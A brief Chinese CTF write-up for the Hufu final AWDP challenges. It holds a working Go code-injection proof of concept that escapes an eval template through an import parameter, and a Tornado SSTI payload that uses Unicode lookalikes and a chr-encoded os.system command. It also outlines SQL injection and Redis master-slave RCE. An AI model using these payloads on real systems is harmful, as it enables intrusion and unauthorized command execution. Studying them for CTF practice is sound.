默认分类

虎符决赛awdp

go

题目源码:

package goeval

import (
    "fmt"
    "go/format"
    "math/rand"
    "os"
    "os/exec"
    "strings"
    "time"
)

const (
    letterBytes = "abcdefghijklmnopqrstuvwxyz"
    letterIdxBits = 6                    // 6 bits to represent a letter index
    letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
    letterIdxMax  = 63 / letterIdxBits   // # of letter indices fitting in 63 bits
)

var (
    dirSeparator = "/"
    tempDir      = os.TempDir()
    src          = rand.NewSource(time.Now().UnixNano())
)

// 参考: https://colobu.com/2018/09/02/generate-random-string-in-Go/
func RandString(n int) string {
    b := make([]byte, n)
    // A src.Int63() generates 63 random bits, enough for letterIdxMax characters!
    for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
        if remain == 0 {
            cache, remain = src.Int63(), letterIdxMax
        }
        if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
            b[i] = letterBytes[idx]
            i--
        }
        cache >>= letterIdxBits
        remain--
    }
    return string(b)
}




func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
    var (
        tmp = `package main

%s

%s

func main() {
%s
}
`
        importStr string
        fullCode string
         newTmpDir = tempDir + dirSeparator + RandString(8)
    )
    if 0 < len(imports) {
        importStr = "import ("
        for _, item := range imports {
            if blankInd := strings.Index(item, " "); -1 < blankInd {
                importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
            } else {
                importStr += fmt.Sprintf("\n\"%s\"", item)
            }
        }
        importStr += "\n)"
    }
    fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

    var codeBytes = []byte(fullCode)
    // 格式化输出的代码
    if formatCode, err := format.Source(codeBytes); nil == err {
        // 格式化失败,就还是用 content 吧
        codeBytes = formatCode
    }
//    fmt.Println(string(codeBytes))
    // 创建目录
    if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
        return
    }

    defer os.RemoveAll(newTmpDir)
    // 创建文件
    tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
    if err != nil {
        return re, err
    }
    //defer os.Remove(tmpFile.Name())
    // 代码写入文件
    tmpFile.Write(codeBytes)
    tmpFile.Close()
    // 运行代码
    cmd := exec.Command("go", "run", tmpFile.Name())
    res, err := cmd.CombinedOutput()
    return res, err
}

main函数的功能我简要缩减得如此:

    if match {
        fmt.Print("Hacker????")
        return
    } else {
        if res, err := eval.Eval("", "fmt.Print("+expression+")", Package); nil == err {
            fmt.Println(string(res))
        } else {
            fmt.Println("Error")
            fmt.Print(err)
        }
    }

基本就是expression和Package是可控的,他的eval使用实现一个main.go 文件并且运行来实现的,expression限制了严格的内容,但是Package没有,我们希望从这里实现代码逃逸。注意Package里面不要用空格,用换行来截断。
POC:

    Package := "os/exec\"\n\"fmt\")\nfunc\nmain()\x09{cmd:=exec.Command(\"ls\",\"-l\",\"/\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))/*"
    expression := "*///"

python

一个torando的SSTI 利用了repr(request) 获取请求内容 并且eval执行命令。这个利用 unicode绕一下就可以了

payload = r"__import__('os').system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(32)+chr(62)+chr(32)+chr(47)+chr(97)+chr(112)+chr(112)+chr(47)+chr(115)+chr(116)+chr(97)+chr(116)+chr(105)+chr(99)+chr(47)+chr(104)+chr(97)+chr(104)+chr(97)+chr(49)+chr(46)+chr(116)+chr(120)+chr(116))"
burp0_data = {"tornado": "{{ᵉval(rᵉpr(rᵉquest)[117:"+ str(117 + len(payload)) +"])}}"}

node

前面是一个replace的应用。利用$ 弄出来双引号用来sql语句的逃逸 实现注入。
后面是一个改/etc/hosts访问 secret那个chat为题目地址。然后进入聊天室发现可以操作 redis。主从复制RCE即可,

回复

This is just a placeholder img.